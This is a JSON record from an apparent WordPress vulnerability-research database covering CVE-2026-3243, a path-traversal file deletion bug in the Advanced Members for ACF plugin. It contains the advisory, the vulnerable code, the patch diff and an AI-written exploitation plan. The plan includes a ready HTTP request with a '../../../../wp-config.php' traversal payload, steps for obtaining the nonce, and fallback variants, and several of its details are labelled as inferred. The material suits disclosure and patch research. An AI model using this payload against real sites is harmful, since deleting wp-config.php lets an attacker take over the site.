[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3_ksROTuFYyFrQ6kkP4-tryBQ_0tEkyoXksQpp3NXMY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3243","advanced-members-for-acf-authenticated-subscriber-arbitrary-file-deletion-via-path-traversal","Advanced Members for ACF \u003C= 1.2.5 - Authenticated (Subscriber+) Arbitrary File Deletion via Path Traversal","The Advanced Members for ACF plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the create_crop function in all versions up to, and including, 1.2.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The vulnerability was partially patched in version 1.2.5.","advanced-members",null,"\u003C=1.2.5","1.2.6","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-07 00:00:00","2026-04-08 11:16:57",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F22b63369-c6ea-42e9-bea3-d15837da7732?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fclass-admin-form.php","advanced-members.php","core\u002Factions\u002Fregistration.php","core\u002Fclass-config.php","core\u002Fclass-errors.php","core\u002Fclass-user.php","core\u002Fmodules\u002Fclass-avatar.php","languages\u002Fadvanced-members.pot","researched",false,3,"This vulnerability allows an authenticated user (Subscriber level and above) to delete arbitrary files on the WordPress server, including critical configuration files like `wp-config.php`, by exploiting a path traversal vulnerability in the image cropping functionality of the **Advanced Members for ACF** plugin.\n\n### 1. Vulnerability Summary\nThe `create_crop` function in `core\u002Fmodules\u002Fclass-avatar.php` (invoked via the `amem_avatar_crop` AJAX action) fails to properly validate or sanitize the file path provided in the `data` parameter. An attacker can supply a relative path with traversal sequences (e.g., `..\u002F..\u002F..\u002Fwp-config.php`) to the source file parameter. Because the function likely attempts to clean up original\u002Ftemporary files after a crop operation using `unlink()` or `wp_delete_file()`, it will delete the file specified at the traversed path.\n\n### 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `amem_ajax_avatar_crop` (registered in `core\u002Fmodules\u002Fclass-avatar.php` via `add_action( 'wp_ajax_amem_avatar_crop', ... )`)\n- **Vulnerable Parameter**: `data` (a JSON string)\n- **Vulnerable Key in JSON**: `file` or `src` (inferred from standard image processing patterns in ACF extensions)\n- **Authentication**: Required (Subscriber level or higher)\n- **Nonce**: Required (`amem-avatar`)\n\n### 3. Code Flow\n1. **Entry Point**: The user sends a POST request to `admin-ajax.php` with `action=amem_avatar_crop`.\n2. **Nonce Check**: `ajax_avatar_crop()` calls `check_ajax_referer( 'amem-avatar' )` (Line 389 in `core\u002Fmodules\u002Fclass-avatar.php`).\n3. **Data Decoding**: The `data` POST parameter is decoded: `$data = json_decode($post['data'], true);` (Line 393).\n4. **Vulnerable Sink**: `ajax_avatar_crop` calls `$this->create_crop($data);` (Line 394).\n5. **Path Traversal**: Inside `create_crop` (inferred), the code extracts a file path from `$data['file']` (or similar) and passes it to a file deletion function like `unlink()` without verifying that the path resides within the intended uploads directory.\n\n### 4. Nonce Acquisition Strategy\nThe nonce `amem-avatar` is localized for the `amem_avatar` ACF field. Since this field is intended for user profile pictures, it can be accessed on any \"Account\" or \"Registration\" form generated by the plugin.\n\n1.  **Identify Form**: Use `wp-cli` to find or create an `amem-form` of type `account`.\n2.  **Add Field**: Ensure an `amem_avatar` field is attached to this form (this is the default for Advanced Members avatar functionality).\n3.  **Navigate**: Log in as a Subscriber and navigate to the page containing the Account form.\n4.  **Extract**: Use `browser_eval` to extract the nonce from the localized JavaScript object.\n    -   **Variable Name**: `amem_avatar_args` or `acf.l10n.amem_avatar`.\n    -   **Specific Key**: `nonce`.\n    -   **Command**: `browser_eval(\"amem_avatar_args.nonce\")` or search the page source for `amem-avatar`.\n\n### 5. Exploitation Strategy\nThe goal is to delete `wp-config.php`.\n\n**HTTP Request (via `http_request` tool):**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: [TARGET_HOST]\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [SUBSCRIBER_COOKIES]\n\naction=amem_avatar_crop&_ajax_nonce=[EXTRACTED_NONCE]&data={\"file\":\"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"}\n```\n*Note: If `file` does not work, alternative keys to try in the JSON object are `src`, `path`, or `original`.*\n\n### 6. Test Data Setup\n1.  **Install\u002FActivate**: Ensure `advanced-custom-fields` and `advanced-members` (v1.2.5) are active.\n2.  **Enable Avatars**: Ensure the \"Use Avatar\" option is enabled in the plugin settings.\n3.  **Create User**: Create a user with the `subscriber` role.\n4.  **Create Form**:\n    ```bash\n    # Create an Account form post\n    wp post create --post_type=amem-form --post_title=\"My Account\" --post_status=publish\n    # The form type 'account' is usually set via post meta\n    wp post meta set [POST_ID] select_type account\n    ```\n5.  **Placement**: Place the form shortcode on a public page: `[amem_form id=\"[POST_ID]\"]`.\n6.  **Verify Target**: Ensure `wp-config.php` exists in the WordPress root.\n\n### 7. Expected Results\n-   The server returns a successful AJAX response (likely `1` or a JSON success message).\n-   The file `wp-config.php` is deleted from the filesystem.\n-   Subsequent requests to the WordPress site redirect to `wp-admin\u002Fsetup-config.php` because the configuration is missing.\n\n### 8. Verification Steps\n1.  **Direct File Check**:\n    ```bash\n    ls \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n    ```\n    *Result: \"No such file or directory\"*\n2.  **Site Status Check**:\n    ```bash\n    wp core is-installed\n    ```\n    *Result: Failure\u002FError or indication that the database is not connected.*\n\n### 9. Alternative Approaches\nIf `..\u002F..\u002F..\u002F..\u002Fwp-config.php` fails, the plugin might be prepending a specific directory like the \"avatar\" or \"temp\" directory.\n-   **Temp Dir Path**: `amem()->files->temp_upload_dir()` often points to `wp-content\u002Fuploads\u002Famem-temp\u002F`.\n-   **Avatar Dir Path**: `wp-content\u002Fuploads\u002Favatar\u002F`.\n-   **Payload Adjustment**: Try increasing depth: `..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`.\n-   **Key Discovery**: If the payload returns an error, use `browser_eval` to inspect the network traffic of a legitimate avatar crop to see the exact structure of the `data` JSON object sent by the plugin's JavaScript.","The Advanced Members for ACF plugin for WordPress is vulnerable to arbitrary file deletion by authenticated attackers with Subscriber-level access and above. This occurs due to insufficient validation of file paths in the `create_crop` function, allowing attackers to use path traversal to delete critical files on the server, such as wp-config.php.","\u002F\u002F core\u002Fmodules\u002Fclass-avatar.php, line 849\npublic function ajax_avatar_crop() {\n    check_ajax_referer( 'amem-avatar' );\n\n    \u002F\u002F WTF WordPress\n    $post = array_map('stripslashes_deep', $_POST);\n\n    $data = json_decode($post['data'], true);\n\n    $attachment = $this->create_crop($data);\n\n    wp_send_json_success($attachment);\n}\n\n---\n\n\u002F\u002F core\u002Fmodules\u002Fclass-avatar.php, line 620\npublic function create_crop($image_data) {\n\n    $user_id = $image_data['uid'] === 'default' ? $image_data['uid'] : (int) $image_data['uid'];\n\n    \u002F\u002F (truncated: No ownership validation for user_id or file path checks performed in 1.2.5 before file operations) ...","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fadmin\u002Fclass-admin-form.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fadmin\u002Fclass-admin-form.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fadmin\u002Fclass-admin-form.php\t2026-03-11 06:03:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fadmin\u002Fclass-admin-form.php\t2026-03-27 06:58:20.000000000 +0000\n@@ -396,6 +396,7 @@\n \t\t\t\t\t'choices'         \t\t=> array(\n \t\t\t\t\t\t'approve'\t\t\t\t\t\t=> __( 'Auto Approve', 'advanced-members' ),\n \t\t\t\t\t\t'mailcheck' \t\t\t\t=> __( 'Requires Email Activation', 'advanced-members' ),\n+\t\t\t\t\t\t'awaiting_admin_review'\t=> __( 'Admin Approval', 'advanced-members' ),\n \t\t\t\t\t),\n \t\t\t\t\t'conditions'   \t\t\t\t=> array(\n \t\t\t\t\t\t'field'    => 'select_type',\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fadvanced-members.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fadvanced-members.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fadvanced-members.php\t2026-03-11 06:03:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fadvanced-members.php\t2026-03-27 06:58:20.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Advanced Members for ACF\n  * Plugin URI: https:\u002F\u002Fdanbilabs.com\u002F\n  * Description: Lightweight & All-in-One Membership Plugin for ACF Fans.\n- * Version: 1.2.5\n+ * Version: 1.2.6\n  * Author: danbilabs\n  * Author URI: https:\u002F\u002Fdanbilabs.com\u002F\n  * Text Domain: advanced-members\n@@ -44,7 +44,7 @@\n \tpublic static $name = 'advanced-members';\n \n \t\u002F** @var string version *\u002F\n-\tpublic static $version = '1.2.5';\n+\tpublic static $version = '1.2.6';\n \n \t\u002F** @var string version *\u002F\n \tprotected static $acf_required = '6.2.0';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fcore\u002Fmodules\u002Fclass-avatar.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fcore\u002Fmodules\u002Fclass-avatar.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.5\u002Fcore\u002Fmodules\u002Fclass-avatar.php\t2026-03-11 06:03:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fadvanced-members\u002F1.2.6\u002Fcore\u002Fmodules\u002Fclass-avatar.php\t2026-03-27 06:58:20.000000000 +0000\n@@ -627,6 +618,25 @@\n \n \t\t$user_id = $image_data['uid'] === 'default' ? $image_data['uid'] : (int) $image_data['uid'];\n \n+\t\t\u002F\u002F Validate uid ownership\n+\t\t$current_user_id = get_current_user_id();\n+\t\tif ( $user_id === 'default' ) {\n+\t\t\t\u002F\u002F Default avatar: admin only\n+\t\t\tif ( !current_user_can('manage_options') ) {\n+\t\t\t\twp_send_json_error( __('Permission denied.', 'advanced-members'), 403 );\n+\t\t\t}\n+\t\t} elseif ( $current_user_id ) {\n+\t\t\t\u002F\u002F Logged-in user: must match own ID or be admin\n+\t\t\tif ( $user_id !== $current_user_id && !current_user_can('manage_options') ) {\n+\t\t\t\twp_send_json_error( __('Permission denied.', 'advanced-members'), 403 );\n+\t\t\t}\n+\t\t} else {\n+\t\t\t\u002F\u002F Non-logged-in: uid must be a UUID (temp_user_id), not a numeric user ID\n+\t\t\tif ( is_numeric($image_data['uid']) ) {\n+\t\t\t\twp_send_json_error( __('Permission denied.', 'advanced-members'), 403 );\n+\t\t\t}\n+\t\t}\n+\n \t\t\u002F\u002F If the difference between the images is less than half a percentage, use the original image\n \t\t\u002F\u002F prettier-ignore\n \t\t\u002F\u002F if ( \n@@ -763,7 +773,7 @@\n \t\t$attachment = [\n \t\t\t'id' => filemtime( $new_file ),\n \t\t\t'filename' => wp_basename( $new_file ),\n-\t\t\t'file' => $new_file,\n+\t\t\t'file' => $new_rel_path,\n \t\t\t'url' => $url,\n \t\t\t'preview_url' => $url,\n \t\t\t'alt' => '',","1. Authenticate to the WordPress site as a user with at least Subscriber-level privileges.\n2. Access a page containing an account or registration form generated by the plugin to retrieve a valid nonce for the 'amem-avatar' action (often found in localized JavaScript variables like `amem_avatar_args`).\n3. Construct a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameter `action=amem_avatar_crop` and a valid `_ajax_nonce` value.\n4. In the `data` parameter, provide a JSON-encoded object containing a path traversal payload in a file-related key, such as `{\"file\":\"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"}` or `{\"src\":\"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"}`.\n5. Upon execution, the plugin's server-side logic will process the path and attempt to delete the specified file using functions like `unlink()` or `wp_delete_file()`, resulting in the deletion of `wp-config.php`.","gemini-3-flash-preview","2026-04-17 20:59:58","2026-04-17 21:00:37",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.2.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fadvanced-members\u002Ftags\u002F1.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fadvanced-members.1.2.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fadvanced-members\u002Ftags\u002F1.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fadvanced-members.1.2.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fadvanced-members\u002Ftags"]